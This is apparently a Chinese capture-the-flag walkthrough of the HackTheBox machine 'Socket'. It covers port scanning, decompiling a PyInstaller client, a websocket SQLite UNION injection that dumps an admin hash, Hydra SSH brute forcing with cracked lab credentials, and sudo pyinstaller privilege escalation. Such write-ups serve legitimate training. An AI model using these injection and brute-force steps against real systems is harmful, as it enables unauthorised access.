Htb socket wp过程思路
首先nmap扫口(udp扫时候忘截图了,没扫出啥)
一共开了三个口:22,80,5789
习惯访问一哈80看看是不是带域名
果然,加到hosts
再细扫一下这三个口
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 4fe3a667a227f9118dc30ed773a02c28 (ECDSA)
|_ 256 816e78766b8aea7d1babd436b7f8ecc4 (ED25519)
80/tcp open http Apache httpd 2.4.52
| http-server-header:
| Apache/2.4.52 (Ubuntu)
|_ Werkzeug/2.1.2 Python/3.10.6
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
5789/tcp open unknown
| fingerprint-strings:
| GenericLines:
| HTTP/1.1 400 Bad Request
| Date: Fri, 31 Mar 2023 05:34:37 GMT
| Server: Python/3.10 websockets/10.4
| Content-Length: 77
| Content-Type: text/plain
| Connection: close
| Failed to open a WebSocket connection: did not receive a valid HTTP request.
| GetRequest:
| HTTP/1.1 400 Bad Request
| Date: Fri, 31 Mar 2023 05:34:38 GMT
| Server: Python/3.10 websockets/10.4
| Content-Length: 77
| Content-Type: text/plain
| Connection: close
| Failed to open a WebSocket connection: did not receive a valid HTTP request.
| HTTPOptions:
| HTTP/1.1 400 Bad Request
| Date: Fri, 31 Mar 2023 05:34:39 GMT
| Server: Python/3.10 websockets/10.4
| Content-Length: 77
| Content-Type: text/plain
| Connection: close
| Failed to open a WebSocket connection: did not receive a valid HTTP request.
| Help:
| HTTP/1.1 400 Bad Request
| Date: Fri, 31 Mar 2023 05:34:58 GMT
| Server: Python/3.10 websockets/10.4
| Content-Length: 77
| Content-Type: text/plain
| Connection: close
| Failed to open a WebSocket connection: did not receive a valid HTTP request.
| RTSPRequest:
| HTTP/1.1 400 Bad Request
| Date: Fri, 31 Mar 2023 05:34:40 GMT
| Server: Python/3.10 websockets/10.4
| Content-Length: 77
| Content-Type: text/plain
| Connection: close
| Failed to open a WebSocket connection: did not receive a valid HTTP request.
| SSLSessionReq:
| HTTP/1.1 400 Bad Request
| Date: Fri, 31 Mar 2023 05:34:59 GMT
| Server: Python/3.10 websockets/10.4
| Content-Length: 77
| Content-Type: text/plain
| Connection: close
|_ Failed to open a WebSocket connection: did not receive a valid HTTP request.
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port5789-TCP:V=7.93%I=7%D=3/31%Time=642670ED%P=x86_64-pc-linux-gnu%r(Ge
SF:nericLines,F4,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nDate:\x20Fri,\x203
SF:1\x20Mar\x202023\x2005:34:37\x20GMT\r\nServer:\x20Python/3\.10\x20webso
SF:ckets/10\.4\r\nContent-Length:\x2077\r\nContent-Type:\x20text/plain\r\n
SF:Connection:\x20close\r\n\r\nFailed\x20to\x20open\x20a\x20WebSocket\x20c
SF:onnection:\x20did\x20not\x20receive\x20a\x20valid\x20HTTP\x20request\.\
SF:n")%r(GetRequest,F4,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nDate:\x20Fri
SF:,\x2031\x20Mar\x202023\x2005:34:38\x20GMT\r\nServer:\x20Python/3\.10\x2
SF:0websockets/10\.4\r\nContent-Length:\x2077\r\nContent-Type:\x20text/pla
SF:in\r\nConnection:\x20close\r\n\r\nFailed\x20to\x20open\x20a\x20WebSocke
SF:t\x20connection:\x20did\x20not\x20receive\x20a\x20valid\x20HTTP\x20requ
SF:est\.\n")%r(HTTPOptions,F4,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nDate:
SF:\x20Fri,\x2031\x20Mar\x202023\x2005:34:39\x20GMT\r\nServer:\x20Python/3
SF:\.10\x20websockets/10\.4\r\nContent-Length:\x2077\r\nContent-Type:\x20t
SF:ext/plain\r\nConnection:\x20close\r\n\r\nFailed\x20to\x20open\x20a\x20W
SF:ebSocket\x20connection:\x20did\x20not\x20receive\x20a\x20valid\x20HTTP\
SF:x20request\.\n")%r(RTSPRequest,F4,"HTTP/1\.1\x20400\x20Bad\x20Request\r
SF:\nDate:\x20Fri,\x2031\x20Mar\x202023\x2005:34:40\x20GMT\r\nServer:\x20P
SF:ython/3\.10\x20websockets/10\.4\r\nContent-Length:\x2077\r\nContent-Typ
SF:e:\x20text/plain\r\nConnection:\x20close\r\n\r\nFailed\x20to\x20open\x2
SF:0a\x20WebSocket\x20connection:\x20did\x20not\x20receive\x20a\x20valid\x
SF:20HTTP\x20request\.\n")%r(Help,F4,"HTTP/1\.1\x20400\x20Bad\x20Request\r
SF:\nDate:\x20Fri,\x2031\x20Mar\x202023\x2005:34:58\x20GMT\r\nServer:\x20P
SF:ython/3\.10\x20websockets/10\.4\r\nContent-Length:\x2077\r\nContent-Typ
SF:e:\x20text/plain\r\nConnection:\x20close\r\n\r\nFailed\x20to\x20open\x2
SF:0a\x20WebSocket\x20connection:\x20did\x20not\x20receive\x20a\x20valid\x
SF:20HTTP\x20request\.\n")%r(SSLSessionReq,F4,"HTTP/1\.1\x20400\x20Bad\x20
SF:Request\r\nDate:\x20Fri,\x2031\x20Mar\x202023\x2005:34:59\x20GMT\r\nSer
SF:ver:\x20Python/3\.10\x20websockets/10\.4\r\nContent-Length:\x2077\r\nCo
SF:ntent-Type:\x20text/plain\r\nConnection:\x20close\r\n\r\nFailed\x20to\x
SF:20open\x20a\x20WebSocket\x20connection:\x20did\x20not\x20receive\x20a\x
SF:20valid\x20HTTP\x20request\.\n");
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 4.15 - 5.6 (95%), Linux 5.3 - 5.4 (95%), Linux 2.6.32 (95%), Linux 5.0 - 5.3 (95%), Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (94%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%), Linux 5.0 (93%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
是个linux,80http,ん?5789怎么绘事
不管了排队来,先从80口入手,直接访问
ok,用的是flask还有apache啥的。
边爆破子域和目录,顺便查下相关漏洞…
查了半天也没查到能用的,于是开着bp点点点。
下面有个生成二维码的
搞个二维码导出来查下
玩了也没发现啥…
上面还有个上传的
好像是可以读取文件,试试有没有任意读取,然后发现是读我本机的…这玩锤子。
看下源代码,发现还有个report
浅玩一下,没发现啥。
继续看源码,发现可以下东西0.0
于是尝试一下有没有任意下载
并没有,直接下下来,是个zip
解压一下
解压出来
一个程序一个测试图片
程序是elf,直接开拆
这边用的pyinstxtractor拆出pyc
https://github.com/pyinstxtractor/pyinstxtractor-ng
然后用pycdc还原py文件
然后打开,第一眼就看到了个子域名ws口,加到hosts里
估计是ws爆破,桀桀桀符合题意 大概率是突破口
再往下走看都有哪里调用了ws_host
发现一个version和update都有调用
因为之前打过soccer那个靶机,有了点经验,于是构造一个请求试一下是否存在sql注入的可能性。
依照上面的ws路径在加上json请求格式,先测一下
import json
from websocket import create_connection
ws = create_connection("ws://ws.qreader.htb:5789/version")
ws.send(json.dumps({'version':'0.0.2'}))
print(ws.recv())
然后漫长的爆破字节
踏马的一直报错
有点怀疑自己,是力度不够还是构造的问题
然后再回去翻了翻那个脚本
ん?!
(复盘的时候发现下面这段思路有问题,只是恰巧瞎猫碰上死耗子了,websocket注入时候还是得两种引号轮换着来,一定要多尝试,不过感觉这段的思路可能会在其他场景用上,就没删,大火看个乐呵)↓↓↓↓↓↓↓↓↓↓↓↓
啊,忘记了他用json.dumps转换过了。
json.dumps({'version': VERSION }
json.dumps转换过的字典是双引号的,上实例!↓↓↓↓
也就是说,在这里爆破的时候闭合部分要用双引号而非单引号
修改为
——————————————————
是不是感觉并没有学到什么呢…
————————————————————
↑↑↑↑↑↑↑↑↑到此为止,以上段落内容仅供参考,思路存在问题,切勿被我引导错了
于是改完之后,终于在试到第四位的时候有正常回复了
这里给0.0.2改为随便一个数,触发报错回显
给个version看看版本
啧,居然不是mysql,只能挨个试了
试了一顿发现既不是mssql也不是oracle,最后看到个文档
https://wenku.baidu.com/view/a7a041a472fe910ef12d2af90242a8956becaabe.html
按照作者的方式挨个试了试,试到sqlite的语句后成功。
那就开干吧!
https://blog.youkuaiyun.com/luoshabugui/article/details/108327936
sqlite_master结构
查一下都有哪些表
'1" union select group_concat(name),3,3,4 from sqlite_master where type=\'table\'--#'
回显共6张表
大约如下
name |
---|
sqlite_sequence |
versions |
users |
info |
reports |
answers |
再用sql字段,看下各表创建时字段构成
sqlite_sequence系统表忽略,最后构成基本如下:
versions
id | version | released_date | downloads |
---|---|---|---|
1 | 0.0.1 | 12/07/2022 | 280 |
2 | 0.0.2 | 26/09/2022 | 720 |
users
id | username | password | role |
---|---|---|---|
1 | admin | 0c090c365fa0559b151a43e0fea39710 | admin |
info
id | key | value |
---|---|---|
1 | downloads | 1000 |
2 | convertions | 2289 |
reports
id | reporter_name | subject | description | reported_date |
---|---|---|---|---|
1 | Jason | Accept JPEG files | Is there a way to convert JPEG images with this tool? Or should I convert my JPEG to PNG and then use it? | 13/08/2022 |
2 | Mike | Converting non-ascii text | When I try to embed non-ascii text, it always gives me an error. It would be nice if you could take a look at this. | 22/09/2022 |
answers
id | answered_by | answer | answered_date | status |
---|---|---|---|---|
1 | admin | Hello Json,\n\nAs if now we support PNG formart only. We will be adding JPEG/SVG file formats in our next version.\n\nThomas Keller | 17/08/2022 | PENDING |
2 | admin | Hello Mike,\n\n We have confirmed a valid problem with handling non-ascii charaters. So we suggest you to stick with ascci printable characters for now!\n\nThomas Keller | 25/09/2022 | PENDING |
这边拿到密码之后其实是有大坑的。。一会讲,先识别一下密码格式
义演定真鉴定为md5
开跑
跑完力
直接进行一波ssh登的陆
登陆失败
到这里卡了好久,最后去翻了htb这个靶机的帖子,看到了一个老哥的tips
发现提示链接里还有个重组用户名的脚本
我超有丶意思
突然想起来数据库里有个answer表里有admin的回复,而且最后是有落款的
id | answered_by | answer | answered_date | status |
---|---|---|---|---|
1 | admin | Hello Json,\n\nAs if now we support PNG formart only. We will be adding JPEG/SVG file formats in our next version.\n\nThomas Keller | 17/08/2022 | PENDING |
2 | admin | Hello Mike,\n\n We have confirmed a valid problem with handling non-ascii charaters. So we suggest you to stick with ascci printable characters for now!\n\nThomas Keller | 25/09/2022 | PENDING |
可以看到回复人是admin,但是在回答的内容中的落款是Thomas Keller
依据帖子里hxd的提示,这里用帖子里github的重组工具组合一个用户名的字典
└─$ ./username-anarchy Thomas Keller>user
┌──()-[~/username-anarchy-master]
└─$ cat user
thomas
thomaskeller
thomas.keller
thomaske
thomkell
thomask
t.keller
tkeller
kthomas
k.thomas
kellert
keller
keller.t
keller.thomas
tk
擦,开跑吧那就
└─$ hydra -L user -p denjanjade122566 10.10.11.206 ssh
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-04-01 06:39:34
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 15 tasks per 1 server, overall 15 tasks, 15 login tries (l:15/p:1), ~1 try per task
[DATA] attacking ssh://10.10.11.206:22/
[22][ssh] host: 10.10.11.206 login: tkeller password: denjanjade122566
1 of 1 target successfully completed, 1 valid password found
[22][ssh] host: 10.10.11.206 login: tkeller password: denjanjade122566
拿到用户名力,成功登陆
习惯性sudo -l看下有没有搞头
ん?!
怎么回事,难不成是兔子洞
按理说一般只有ez难度的才会给sudo放东西
容我看一看是什么好蹬西
#!/bin/bash
if [ $# -ne 2 ] && [[ $1 != 'cleanup' ]]; then
/usr/bin/echo "No enough arguments supplied"
exit 1;
fi
action=$1
name=$2
ext=$(/usr/bin/echo $2 |/usr/bin/awk -F'.' '{ print $(NF) }')
if [[ -L $name ]];then
/usr/bin/echo 'Symlinks are not allowed'
exit 1;
fi
if [[ $action == 'build' ]]; then
if [[ $ext == 'spec' ]] ; then
/usr/bin/rm -r /opt/shared/build /opt/shared/dist 2>/dev/null
/home/svc/.local/bin/pyinstaller $name
/usr/bin/mv ./dist ./build /opt/shared
else
echo "Invalid file format"
exit 1;
fi
elif [[ $action == 'make' ]]; then
if [[ $ext == 'py' ]] ; then
/usr/bin/rm -r /opt/shared/build /opt/shared/dist 2>/dev/null
/root/.local/bin/pyinstaller -F --name "qreader" $name --specpath /tmp
/usr/bin/mv ./dist ./build /opt/shared
else
echo "Invalid file format"
exit 1;
fi
elif [[ $action == 'cleanup' ]]; then
/usr/bin/rm -r ./build ./dist 2>/dev/null
/usr/bin/rm -r /opt/shared/build /opt/shared/dist 2>/dev/null
/usr/bin/rm /tmp/qreader* 2>/dev/null
else
/usr/bin/echo 'Invalid action'
exit 1;
fi
原来是个调用pyinstaller的脚本…
无视掉开头的内个 ‘外部引入变量小于2且第一个不等于“cleanup”不然就报错’
重点看下脚本中的三个外部变量
action=$1
name=$2
ext=$(/usr/bin/echo $2 |/usr/bin/awk -F'.' '{ print $(NF) }')
其中变量ext是awk以.来分割$2,获取返回后面的部分
例如我给$2的是:
wuhu.test或者wuhu.py
那ext的值就是test或py
这个变量在下面的引用中也可以看出,是用来获取文件后缀名的
看到有三个主要判断,其中进入以下两种情况是可以调用pyinstaller的
$action == 'build'
[ $ext == 'spec' ]
$action == 'make'
[ $ext == 'py' ]
擦,那就开干吧,主要我也就只会个py了
这题要是java估计我得一头攒死
直接写一个py的.spec文件
调用脚本触发pyinstaller编译这个脚本,然后拿下root
泪目,web部分还蛮难的,没想到提权部分这么简单…一开始以为是兔子洞,不过还是学到不少东西,好靶机desu